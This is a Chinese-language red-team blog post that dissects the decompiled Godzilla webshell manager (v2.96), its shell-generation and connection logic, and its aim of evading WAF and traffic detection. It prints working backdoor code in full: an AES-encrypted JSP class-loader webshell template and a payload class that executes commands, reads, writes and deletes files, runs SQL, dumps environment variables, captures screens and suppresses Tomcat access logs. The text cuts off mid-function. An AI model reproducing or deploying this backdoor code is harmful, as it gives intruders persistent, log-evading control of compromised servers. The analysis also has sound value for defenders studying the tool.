本文对哥斯拉工具生成后门流程、连接后门流程、后门文件、后门功能进行了分析
哥斯拉(Godzilla)是一款国内流行且优秀的红队 webshell 权限管理工具,使用 java 开发的可视化客户端,shell 支持 java、php、asp 环境,通信流量使用 AES 算法加密,具有文件管理、数据库操作、命令执行、内存马、隧道反弹等后门功能。
具体介绍见:护网礼盒:哥斯拉 Godzilla shell 管理工具 BeichenDream ChaBug
HVV 期间,各大厂商的 waf 不断,在静态查杀、流量通信等方面对 webshell 进行拦截,经过安全厂商对流行黑客工具的持续关注,已有众多产品可以对哥斯拉默认通信流量进行识别或拦截,并且蓝队应急溯源小组在获取到后门文件硬编码密钥后,可结合全流量日志系统对所有操作进行解密还原,导致红队攻击行动一览无余。
经过分析工具源码逻辑,流量类安全产品底层检测原理,加解密原理后,产生了进一步的对抗思路,为缓解了以上困境,对工具二次修改实际测试验证了可行性。
反编译 Godzilla-V2.96.jar 得到源码
目录结构 . ├── core │ ├── annotation 注解方法 │ ├── imp 接口定义 │ ├── shell 后门对象 │ └── ui 展示界面相关代码 ├── org │ ├── jb2011 界面美化皮肤库 │ └── sqlite sqlite库 ├── shells │ ├── cryptions 加密 │ ├── payloads 负载 │ └── plugins 插件 └── util 工具方法
文件描述
.
├── core
│ ├── ApplicationConfig.java 对比jar文件哈希值,检查版本更新
│ ├── ApplicationContext.java 程序初始化,字体、http头配置,加载有效载荷、加密器、插件
│ ├── Db.java 本地sqlite存储配置、shell连接等
│ ├── Encoding.java 支持网站多种字符编解码
│ ├── ProxyT.java 获取代理
│ ├── annotation 注解方法
│ │ ├── CryptionAnnotation.java 加密器注解
│ │ ├── PayloadAnnotation.java 有效载荷注解
│ │ └── PluginnAnnotation.java 插件注解
│ ├── imp 接口定义
│ │ ├── Cryption.java
│ │ ├── Payload.java
│ │ └── Plugin.java
│ ├── shell
│ │ └── ShellEntity.java 后门对象类,保存的后门相关属性,连接前初始化准备
│ └── ui 展示界面相关代码
│ ├── MainActivity.java 主窗口,程序入口main
│ ├── ShellManage.java 进入shell后的操作窗口
│ ├── component 窗口展示组件
│ │ ├── DataTree.java shell-文件管理-文件夹树形图
│ │ ├── DataView.java 多行表格展示控件
│ │ ├── GBC.java 页面布局
│ │ ├── RTextArea.java 文本框
│ │ ├── ShellBasicsInfo.java shell-基础信息
│ │ ├── ShellDatabasePanel.java shell-数据库
│ │ ├── ShellExecCommandPanel.java shell-命令执行
│ │ ├── ShellFileManager.java shell-文件管理
│ │ ├── ShellNote.java shell-笔记
│ │ ├── ShellRSFilePanel.java shell-文件管理-文件编辑
│ │ ├── dialog 对话框
│ │ │ ├── AppSeting.java 主窗口-程序配置,字体、header、核心配置
│ │ │ ├── DatabaseSetting.java shell-数据库管理-数据库连接配置
│ │ │ ├── FileDialog.java shell-文件管理-复制-源目的路径选择框
│ │ │ ├── GenerateShellLoder.java 主窗口-生成shell配置
│ │ │ ├── ImageShowDialog.java 更新提醒显示群二维码
│ │ │ ├── PluginManage.java 主窗口-插件配置
│ │ │ └── ShellSetting.java 主窗口-添加shell新连接的配置
│ │ ├── menu
│ │ │ └── ShellPopMenu.java shell-命令执行,右键复制粘贴的菜单
│ │ └── model
│ │ ├── DbInfo.java 数据库连接信息的数据模型
│ │ └── FileOpertionInfo.java 复制文件的数据模型
│ ├── imp
│ │ └── ActionDblClick.java 双击动作的接口
│ └── model
│ ├── DatabaseSql.java 内置mysql/sqlserver查库名表名条数的语句
│ └── osType.java 定义操作系统枚举
├── org 第三方库
│ ├── jb2011 界面美化皮肤库JackJiang2011/beautyeye相关代码
│ └── sqlite sqlite数据库相关代码
├── shells
│ ├── cryptions
│ │ ├── JavaAes
│ │ │ ├── Generate.java 生成shell文件
│ │ │ ├── JavaAesBase64.java 哥斯拉编解码base64格式的传输数据
│ │ │ ├── JavaAesRaw.java 哥斯拉编解码原始字节格式的传输数据
│ │ │ └── template
│ │ │ ├── base64Code.bin shell内容 base64格式传输指令和回显
│ │ │ ├── base64GlobalCode.bin shell内容 base64格式class加载器│ │ │ ├── rawCode.bin shell内容 原始字节传输指令和回显
│ │ │ ├── rawGlobalCode.bin shell内容 原始字节class加载器│ │ │ ├── shell.jsp jsp后门生成模板
│ │ │ └── shell.jspx jspx后门生成模板
│ │ ├── cshapAes
│ │ │ ├── CShapAesBase64.java
│ │ │ ├── CShapAesRaw.java
│ │ │ └── Generate.java
│ │ └── phpXor
│ │ ├── Generate.java
│ │ ├── PhpXor.java
│ │ └── PhpXorRaw.java
│ ├── payloads
│ │ ├── csharp
│ │ │ ├── CShapShell.java
│ │ │ └── assets
│ │ │ └── payload.dll
│ │ ├── java
│ │ │ ├── JavaShell.java
│ │ │ └── assets
│ │ │ └── payload.classs 给shell动态加载的类,运行相应指令
│ │ └── php
│ │ ├── PhpShell.java
│ │ └── assets
│ │ └── payload.php
│ └── plugins 高级功能插件
│ ├── cshap
│ │ ├── BadPotato.java
│ │ ├── CZip.java
│ │ ├── Lemon.java
│ │ ├── RealCmd.java
│ │ ├── SafetyKatz.java
│ │ ├── ShapWeb.java
│ │ ├── ShellcodeLoader.java
│ │ ├── SweetPotato.java
│ │ └── assets
│ │ ├── BadPotato.dll
│ │ ├── CZip.dll
│ │ ├── RevlCmd.dll
│ │ ├── SafetyKatz.dll
│ │ ├── SharpWeb.dll
│ │ ├── ShellcodeLoader.dll
│ │ ├── SweetPotato.dll
│ │ ├── lemon.dll
│ │ ├── meterpreterTip.txt
│ │ ├── reverse.bin
│ │ └── reverse64.bin
│ ├── java java后门插件
│ │ ├── EnumDatabaseConn.java
│ │ ├── JZip.java
│ │ ├── JarLoader.java
│ │ ├── MemoryShell.java
│ │ ├── Meterpreter.java
│ │ ├── RealCmd.java
│ │ ├── Screen.java
│ │ ├── ServletManage.java
│ │ └── assets
│ │ ├── AES_BASE64.classs
│ │ ├── AES_RAW.classs
│ │ ├── Behinder.classs 冰蝎
│ │ ├── Cknife.classs CKnife
│ │ ├── JZip.classs zip压缩
│ │ ├── JarLoader.classs 加载jar包
│ │ ├── Meterpreter.classs
│ │ ├── ReGeorg.classs
│ │ ├── RealCmd.classs
│ │ ├── ServletManage.classs 管理servlet路由
│ │ ├── ShellDriver.classs
│ │ ├── meterpreterTip.txt
│ │ └── mysql.jar
│ └── php
│ ├── ByPassOpenBasedir.java
│ ├── BypassDisableFunctions.java
│ ├── Meterpreter.java
│ ├── PZip.java
│ └── PhpEvalCode.java
└── util
├── JavaVersion.java 比较java版本
├── Log.java 输出日志
├── SystemUtils.java 工具类,系统版本路径等操作
├── automaticBindClick.java 绑定点击事件
├── functions.java 工具类 字节转换编码加密等
└── http
├── Http.java 发送http请求
├── HttpResponse.java 读取http响应
└── ReqParameter.java http参数
其中有几个值得注意的目录和文件
配置生成 shell 界面逻辑 core/ui/component/dialog/GenerateShellLoder.java
添加 shell 界面逻辑 core/ui/component/dialog/ShellSetting.java
加密器代码 shells/cryptions/javaAes
webshell 文件代码 shells/cryptions/javaAes/template
后门生成流程
core/ui/component/dialog/GenerateShellLoder.java
绘制生成界面
generateButtonClick()方法中调用 ApplicationContext.getCryption(),根据选择的不同加密器和 payloady 动态获得对应的 Cryption 实例
动态选择实例是怎么实现的呢?
程序启动时,扫描/shells/cryptions/目录下的.class 文件动态加载,core/ui/MainActivity.java#main()
→MainActivity()
→core/ApplicationContext.java#init()
→scanCryption()
实现加密算法的类继承自 Cryption 类,并设置注解,标记加密器名字和使用的 payload 名@CryptionAnnotation(Name = "JAVA_AES_BASE64", payloadName = "JavaDynamicPayload") public class JavaAesBase64 implements Cryption
带着界面上填写的密码密钥,传入 Cryption 实例 →generate()
→ 同目录下的Generate.java#GenerateShellLoder()
从 resources 资源目录读取通用代码和 shell 代码,替换密码部分,用模板拼接在一起,生成最终的后门文件
后门生成逻辑代码:
core/ui/component/dialog/ShellSetting.java
绘制添加 shell 的界面
点击“测试连接”执行testButtonClick()
→core/shell/ShellEntity.java#initShellOpertion()
执行流程:
1、获取 payload 指令控制器,比如 JavaDynamicPayload 在shells/payloads/java/JavaShell.java
,在这个对象中包含给 webshell 运行的动态 payload shells/payloads/java/assets/payload.class
2、获取加密器实例,比如 JAVA_AES_RAW 在shells/cryptions/JavaAes/JavaAesRaw.java
3、初始化加密器,传入后门 URL,密码等上下文,给 shell 发送payload.class
4、初始化 payload 指令控制器,传入上下文数据
5、下发一个 test 指令,将参数methodName=test
加密后发送请求,shell 加载的payload.class
代码中实现一个 test 方法,执行后返回“ok”即为后门连接成功
下发指令请求代码逻辑:
下发 test 指令代码:
aes 加解密,base64 编解码
// AES密钥String xc="{secretKey}";// 通过字节动态加载classclass X extends ClassLoader{ public X(ClassLoader z){ super(z); } public Class Q(byte[] cb){ return super.defineClass(cb, 0, cb.length); } }// AES加解密方法,参数m为true加密,false解密public byte[] x(byte[] s,boolean m){ try{ javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); // 密钥为 xc c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")); return c.doFinal(s); }catch (Exception e){ return null; } }// base64解码public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64=Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[])decoder.getClass().getMethod("decode", new Class[] {String.class }).invoke(decoder, new Object[] { bs }); } catch (Exception e) { try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs }); } catch (Exception e2) {} } return value; }
获取解密后的数据,动态加载 payload 字节码,执行后门功能指令。
try{
byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream= request.getInputStream();
int _num=0;
while ((_num+=inputStream.read(data,_num,data.length))<data.length);
data=x(data, false); if (session.getAttribute("payload")==null){
session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute("parameters", new String(data));
Object f=((Class)session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getOutputStream().write(x(base64Decode(f.toString()), true));
}
}catch (Exception e){
}
由上面两部分拼接组合成完整的 webshell 文件
JSP:
<%!{globalCode}%><%{code}%>
JSPX:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>{globalCode}</jsp:declaration><jsp:scriptlet>{code}</jsp:scriptlet></jsp:root>
实现后门指令功能,例如:文件操作,数据库操作,获取环境信息,截屏,执行命令等
import javax.servlet.jsp.*;import java.text.*;import java.nio.charset.*;import java.awt.*;import java.io.*;import javax.imageio.*;import java.awt.image.*;import java.sql.*;import org.apache.catalina.core.*;import java.lang.reflect.*;import javax.servlet.http.*;import java.util.*;public class payload extends ClassLoader{ public final char[] toBase64; PageContext pageContext; HashMap praameterMap; public payload() { this.toBase64 = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; this.praameterMap = new HashMap(); } public payload(final ClassLoader loader) { super(loader); this.toBase64 = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; this.praameterMap = new HashMap(); } public static void main(final String[] args) { final payload payload = new payload(); System.out.println(new String(payload.base64Decode(payload.base64Encode(new String(payload.getBasicsInfo()))))); } public Class g(final byte[] b) { return super.defineClass(b, 0, b.length); } public byte[] run() { // 获得参数中的类名称 final String className = this.get("evalClassName"); // 获得参数中的方法名称 final String methodName = this.get("methodName"); if (methodName != null) { // 没有类参数 if (className == null) { try { // 从当前类中获取方法 final Method method = this.getClass().getMethod(methodName, (Class<?>[])null); // 方法返回类型必须是byte[] if (method.getReturnType().isAssignableFrom(byte[].class)) { // 调用方法 return (byte[])method.invoke(this, (Object[])null); } return "this method returnType not is byte[]".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } try { // 从会话属性中获取类 final Class evalClass = (Class)this.pageContext.getSession().getAttribute(className); if (evalClass != null) { // 实例化 final Object object = evalClass.newInstance(); // 通过equals方法传递页面上下文 object.equals(this.pageContext); // 通过toString方法执行调用 return this.base64Decode(object.toString()); } return "eval class is null".getBytes(); } catch (Exception e) { final String message = e.getMessage(); return ((message == null) ? "java.lang.NullPointerException" : message).getBytes(); } } return "method is null".getBytes(); } // 格式化参数 public void formatParameter() { // 从页面请求属性中获得shell写入的参数 String parameterString = (String)this.pageContext.getRequest().getAttribute("parameters"); // 再拼接一个参数,增加兼容 parameterString = String.valueOf(parameterString) + "&ILikeYou=" + this.base64Encode("metoo"); // 先按&分割 final String[] parameters = parameterString.split("&"); // 依次遍历参数(格式aa=bbb) for (int i = 0; i < parameters.length; ++i) { final String onePraameter = parameters[i]; // 搜索“=”字符 final int index = onePraameter.indexOf(61); if (index != -1) { try { // 得到参数名称 final String name = onePraameter.substring(0, index).trim(); // 得到参数值 final String value = onePraameter.substring(index + 1, onePraameter.length()); // 转成Map类型 this.praameterMap.put(name, this.base64Decode(value)); } catch (Exception ex) {} } } // 存储在请求上下文的属性中 this.pageContext.getRequest().setAttribute("parameters", (Object)this.praameterMap); } // 重写object对象的equals方法 @Override public boolean equals(final Object obj) { if (obj != null && PageContext.class.isAssignableFrom(obj.getClass())) { // 页面上下文 this.pageContext = (PageContext)obj; // 格式化参数 this.formatParameter(); // 不记录日志 this.noLog(this.pageContext); return true; } return false; } // 重写object的toString方法 @Override public String toString() { // 调用run,根据参数动态选择对应的方法执行 final String returnString = new String(this.base64Encode(this.run())); // 清空参数属性 this.pageContext.getRequest().setAttribute("parameters", (Object)null); return returnString; } // 从参数属性Map中获取值 public String get(final String key) { try { return new String(this.praameterMap.get(key)); } catch (Exception e) { return null; } } // 从参数属性Map中获取值 public byte[] getByteArray(final String key) { try { return this.praameterMap.get(key); } catch (Exception e) { return null; } } // 测试方法,用于客户端的“测试连接”功能 public byte[] test() { return "ok".getBytes(); } // 后门功能:获取目录中文件列表 public byte[] getFile() { // 从参数中获取要打开的目录 String dirName = this.get("dirName"); if (dirName != null) { dirName = dirName.trim(); String buffer = new String(); try { // 目录绝对路径 final String currentDir = new File(dirName).getAbsoluteFile() + "/"; // 目录中的文件列表 final File[] files = new File(currentDir).listFiles(); buffer = String.valueOf(buffer) + "ok"; buffer = String.valueOf(buffer) + "\n"; buffer = String.valueOf(buffer) + currentDir; buffer = String.valueOf(buffer) + "\n"; for (int i = 0; i < files.length; ++i) { final File file = files[i]; try { // 获取文件名、是否为目录、最后修改时间、文件大小、读写权限 buffer = String.valueOf(buffer) + file.getName(); buffer = String.valueOf(buffer) + "\t"; buffer = String.valueOf(buffer) + (file.isDirectory() ? "0" : "1"); buffer = String.valueOf(buffer) + "\t"; buffer = String.valueOf(buffer) + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(file.lastModified()); buffer = String.valueOf(buffer) + "\t"; buffer = String.valueOf(buffer) + Integer.toString((int)file.length()); buffer = String.valueOf(buffer) + "\t"; final String fileState = String.valueOf(file.canRead() ? "R" : "") + (file.canWrite() ? "W" : ""); buffer = String.valueOf(buffer) + ((fileState == null || fileState.trim().length() == 0) ? "F" : fileState); buffer = String.valueOf(buffer) + "\n"; } catch (Exception e) { buffer = String.valueOf(buffer) + e.getMessage(); buffer = String.valueOf(buffer) + "\n"; } } } catch (Exception e2) { return "dir does not exist ".getBytes(); } return buffer.getBytes(); } return "No parameter dirName".getBytes(); } // 后门功能:获取系统盘符 public String listFileRoot() { final File[] files = File.listRoots(); String buffer = new String(); for (int i = 0; i < files.length; ++i) { buffer = String.valueOf(buffer) + files[i].getPath(); buffer = String.valueOf(buffer) + ";"; } return buffer; } // 后门功能:读取文件内容 public byte[] readFile() { final String fileName = this.get("fileName"); if (fileName != null) { final File file = new File(fileName); try { if (file.exists() && file.isFile()) { final byte[] data = new byte[(int)file.length()]; if (data.length > 0) { int readOneLen = 0; final FileInputStream fileInputStream = new FileInputStream(file); while ((readOneLen = fileInputStream.read(data, readOneLen, data.length - readOneLen)) != -1) {} fileInputStream.close(); } return data; } return "file does not exist".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter fileName".getBytes(); } // 后门功能:上传文件 public byte[] uploadFile() { final String fileName = this.get("fileName"); final byte[] fileValue = this.getByteArray("fileValue"); if (fileName != null && fileValue != null) { try { final File file = new File(fileName); file.createNewFile(); final FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(fileValue); fileOutputStream.close(); return "ok".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter fileName and fileValue".getBytes(); } // 后门功能:新建文件 public byte[] newFile() { final String fileName = this.get("fileName"); if (fileName != null) { final File file = new File(fileName); try { if (file.createNewFile()) { return "ok".getBytes(); } return "fail".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter fileName".getBytes(); } // 后门功能:新建目录 public byte[] newDir() { final String dirName = this.get("dirName"); if (dirName != null) { final File file = new File(dirName); try { if (file.mkdirs()) { return "ok".getBytes(); } return "fail".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter fileName".getBytes(); } // 后门功能:删除文件 public byte[] deleteFile() { final String dirName = this.get("fileName"); if (dirName != null) { try { final File file = new File(dirName); this.deleteFiles(file); return "ok".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter fileName".getBytes(); } // 后门功能:移动文件 public byte[] moveFile() { final String srcFileName = this.get("srcFileName"); final String destFileName = this.get("destFileName"); if (srcFileName != null && destFileName != null) { final File file = new File(srcFileName); try { if (!file.exists()) { return "The target does not exist".getBytes(); } if (file.renameTo(new File(destFileName))) { return "ok".getBytes(); } return "fail".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter srcFileName,destFileName".getBytes(); } // 后门功能:复制文件 public byte[] copyFile() { final String srcFileName = this.get("srcFileName"); final String destFileName = this.get("destFileName"); if (srcFileName != null && destFileName != null) { final File srcFile = new File(srcFileName); final File destFile = new File(destFileName); try { if (srcFile.exists() && srcFile.isFile()) { final FileInputStream fileInputStream = new FileInputStream(srcFile); final FileOutputStream fileOutputStream = new FileOutputStream(destFile); final byte[] data = new byte[5120]; int readNum = 0; while ((readNum = fileInputStream.read(data)) > -1) { fileOutputStream.write(data, 0, readNum); } fileInputStream.close(); fileOutputStream.close(); return "ok".getBytes(); } return "The target does not exist or is not a file".getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter srcFileName,destFileName".getBytes(); } // 后门功能:动态加载类 public byte[] include() { final byte[] binCode = this.getByteArray("binCode"); final String className = this.get("codeName"); if (binCode != null && className != null) { try { final payload payload = new payload(this.getClass().getClassLoader()); this.pageContext.getSession().setAttribute(className, (Object)payload.g(binCode)); return "ok".getBytes(); } catch (Exception e) { if (this.pageContext.getSession().getAttribute(className) != null) { return "ok".getBytes(); } return e.getMessage().getBytes(); } } return "No parameter binCode,codeName".getBytes(); } // 后门功能:执行命令 public byte[] execCommand() { final String cmdLine = this.get("cmdLine"); if (cmdLine != null) { try { Process process; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmdLine }); } else { process = Runtime.getRuntime().exec(cmdLine); } String result = ""; final InputStream inputStream = process.getInputStream(); final InputStream errorInputStream = process.getErrorStream(); final BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, Charset.forName(System.getProperty("sun.jnu.encoding")))); final BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorInputStream, Charset.forName(System.getProperty("sun.jnu.encoding")))); for (String disr = br.readLine(); disr != null; disr = br.readLine()) { result = String.valueOf(String.valueOf(result)) + disr + "\n"; } for (String disr = errorReader.readLine(); disr != null; disr = br.readLine()) { result = String.valueOf(String.valueOf(result)) + disr + "\n"; } return result.getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return "No parameter cmdLine".getBytes(); } // 后门功能:获取系统基本信息 public byte[] getBasicsInfo() { try { final Enumeration<Object> keys = ((Hashtable<Object, V>)System.getProperties()).keys(); String basicsInfo = new String(); basicsInfo = String.valueOf(basicsInfo) + "FileRoot : " + this.listFileRoot() + "\n"; basicsInfo = String.valueOf(basicsInfo) + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n"; basicsInfo = String.valueOf(basicsInfo) + "CurrentUser : " + System.getProperty("user.name") + "\n"; basicsInfo = String.valueOf(basicsInfo) + "DocBase : " + this.getDocBase() + "\n"; basicsInfo = String.valueOf(basicsInfo) + "RealFile : " + this.getRealPath() + "\n"; try { basicsInfo = String.valueOf(basicsInfo) + "OsInfo : " + String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch")) + "\n"; } catch (Exception e) { basicsInfo = String.valueOf(basicsInfo) + "OsInfo : " + e.getMessage() + "\n"; } while (keys.hasMoreElements()) { final Object object = keys.nextElement(); if (object instanceof String) { final String key = (String)object; basicsInfo = String.valueOf(basicsInfo) + key + " : " + System.getProperty(key) + "\n"; } } final Map<String, String> envMap = this.getEnv(); if (envMap != null) { for (final String key2 : envMap.keySet()) { basicsInfo = String.valueOf(basicsInfo) + key2 + " : " + envMap.get(key2) + "\n"; } } return basicsInfo.getBytes(); } catch (Exception e2) { return e2.getMessage().getBytes(); } } // 后门功能:截屏 public byte[] screen() { try { final Robot robot = new Robot(); final BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height)); final ByteArrayOutputStream bs = new ByteArrayOutputStream(); ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs)); final byte[] data = bs.toByteArray(); bs.close(); return data; } catch (Exception e) { return e.getMessage().getBytes(); } } // 后门功能:执行SQL public byte[] execSql() { final String dbType = this.get("dbType"); final String dbHost = this.get("dbHost"); final String dbPort = this.get("dbPort"); final String dbUsername = this.get("dbUsername"); final String dbPassword = this.get("dbPassword"); final String execType = this.get("execType"); final String execSql = this.get("execSql"); if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) { try { try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); } catch (Exception ex) {} try { Class.forName("oracle.jdbc.driver.OracleDriver"); } catch (Exception ex2) {} try { Class.forName("com.mysql.cj.jdbc.Driver"); } catch (Exception e2) { try { Class.forName("com.mysql.jdbc.Driver"); } catch (Exception ex3) {} } try { Class.forName("org.postgresql.Driver"); } catch (Exception ex4) {} String connectUrl = null; if ("mysql".equals(dbType)) { connectUrl = "jdbc:mysql://" + dbHost + ":" + dbPort + "/" + "?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true"; } else if ("oracle".equals(dbType)) { connectUrl = "jdbc:oracle:thin:@" + dbHost + ":" + dbPort; } else if ("sqlserver".equals(dbType)) { connectUrl = "jdbc:sqlserver://" + dbHost + ":" + dbPort + ";"; } else if ("postgresql".equals(dbType)) { connectUrl = "jdbc:postgresql://" + dbHost + ":" + dbPort + "/"; } if (dbHost.indexOf("jdbc:") != -1) { connectUrl = dbHost; } if (connectUrl != null) { try { final Connection dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword); final Statement statement = dbConn.createStatement(); if (execType.equals("select")) { String data = "ok\n"; final ResultSet resultSet = statement.executeQuery(execSql); final ResultSetMetaData metaData = resultSet.getMetaData(); final int columnNum = metaData.getColumnCount(); for (int i = 0; i < columnNum; ++i) { data = String.valueOf(data) + this.base64Encode(String.format("%s", metaData.getColumnName(i + 1))) + "\t"; } data = String.valueOf(data) + "\n"; while (resultSet.next()) { for (int i = 0; i < columnNum; ++i) { data = String.valueOf(data) + this.base64Encode(String.format("%s", resultSet.getString(i + 1))) + "\t"; } data = String.valueOf(data) + "\n"; } resultSet.close(); statement.close(); dbConn.close(); return data.getBytes(); } final int affectedNum = statement.executeUpdate(execSql); statement.close(); dbConn.close(); return ("Query OK, " + affectedNum + " rows affected").getBytes(); } catch (Exception e) { return e.getMessage().getBytes(); } } return ("no " + dbType + " Dbtype").getBytes(); } catch (Exception e2) { return e2.getMessage().getBytes(); } } return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes(); } // 后门功能:获取环境变量 public Map<String, String> getEnv() { try { final int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3)); if (jreVersion >= 5) { try { final Method method = System.class.getMethod("getenv", (Class<?>[])new Class[0]); if (method != null && method.getReturnType().isAssignableFrom(Map.class)) { return (Map<String, String>)method.invoke(null, (Object[])null); } return null; } catch (Exception e) { return null; } } return null; } catch (Exception e2) { return null; } } // public String getDocBase() { try { final Field contextField = this.pageContext.getServletContext().getClass().getDeclaredField("context"); contextField.setAccessible(true); try { Class.forName("org.apache.catalina.core.ApplicationContext"); Class.forName("org.apache.catalina.core.StandardContext"); final ApplicationContext o = (ApplicationContext)contextField.get(this.pageContext.getServletContext()); final Field field = o.getClass().getDeclaredField("context"); field.setAccessible(true); final StandardContext standardContext = (StandardContext)field.get(o); return standardContext.getDocBase(); } catch (Exception e) { return e.getMessage(); } } catch (Exception e2) { return e2.getMessage(); } } // 获取url对应物理路径 public String getRealPath() { try { return this.pageContext.getServletContext().getRealPath(((HttpServletRequest)this.pageContext.getRequest()).getRequestURI()); } catch (Exception e) { return e.getMessage(); } } // 后门功能:删除文件 public void deleteFiles(final File f) throws Exception { if (f.isDirectory()) { final File[] x = f.listFiles(); File[] array; for (int length = (array = x).length, i = 0; i < length; ++i) { final File fs = array[i]; this.deleteFiles(fs); } } f.delete(); } // 动态调用方法 Object invoke(final Object obj, final String methodName, final Object... parameters) { try { final ArrayList classes = new ArrayList(); if (parameters != null) { for (int i = 0; i < parameters.length; ++i) { final Object o1 = parameters[i]; if (o1 != null) { classes.add(o1.getClass()); } else { classes.add(null); } } } final Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0])); return method.invoke(obj, parameters); } catch (Exception ex) { return null; } } Method getMethodByClass(Class cs, final String methodName, final Class... parameters) { Method method = null; while (cs != null) { try { method = cs.getDeclaredMethod(methodName, (Class[])parameters); cs = null; } catch (Exception e) { cs = cs.getSuperclass(); } } return method; } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { Field f = null; if (obj instanceof Field) { f = (Field)obj; } else { final Method method = null; Class cs = obj.getClass(); while (cs != null) { try { f = cs.getDeclaredField(fieldName); cs = null; } catch (Exception e) { cs = cs.getSuperclass(); } } } f.setAccessible(true); return f.get(obj); } private void noLog(final PageContext pc) { try { final Object applicationContext = getFieldValue(pc.getServletContext(), "context"); Object container = getFieldValue(applicationContext, "context"); final ArrayList arrayList = new ArrayList(); while (container != null) { arrayList.add(container); container = this.invoke(container, "getParent", (Object[])null); } for (int i = 0; i < arrayList.size(); ++i) { try { final Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null); if (pipeline != null) { Object valve = this.invoke(pipeline, "getFirst", (Object[])null); while (valve != null) { if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) { String condition = (String)this.invoke(valve, "getCondition", new Object[0]); condition = ((condition == null) ? "FuckLog" : condition); this.invoke(valve, "setCondition", condition); pc.getRequest().setAttribute(condition, (Object)condition); valve = this.invoke(valve, "getNext", (Object[])null); } else if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) { valve = this.invoke(valve, "getNext", (Object[])null); } else { valve = null; } } } } catch (Exception ex) {} } } catch (Exception ex2) {} } public String base64Encode(final String data) { return this.base64Encode(data.getBytes()); } public String base64Encode(final byte[] src) { final int off = 0; final int end = src.length; final byte[] dst = new byte[4 * ((src.length + 2) / 3)]; final int linemax = -1; final boolean doPadding = true; final char[] base64 = this.toBase64; int sp = off; int slen = (end - off) / 3 * 3; final int sl = off + slen; if (linemax > 0 && slen > linemax / 4 * 3) { slen = linemax / 4 * 3; } int dp = 0; while (sp < sl) { final int sl2 = Math.min(sp + slen, sl); int bits; for (int sp2 = sp, dp2 = dp; sp2 < sl2; bits = ((src[sp2++] & 0xFF) << 16 | (src[sp2++] & 0xFF) << 8 | (src[sp2++] & 0xFF)), dst[dp2++] = (byte)base64[bits >>> 18 & 0x3F], dst[dp2++] = (byte)base64[bits >>> 12 & 0x3F], dst[dp2++] = (byte)base64[bits >>> 6 & 0x3F], dst[dp2++] = (byte)base64[bits & 0x3F]) {} final int dlen = (sl2 - sp) / 3 * 4; dp += dlen; sp = sl2; } if (sp < end) { final int b0 = src[sp++] & 0xFF; dst[dp++] = (byte)base64[b0 >> 2]; if (sp == end) { dst[dp++] = (byte)base64[b0 << 4 & 0x3F]; if (doPadding) { dst[dp++] = 61; dst[dp++] = 61; } } else { final int b2 = src[sp++] & 0xFF; dst[dp++] 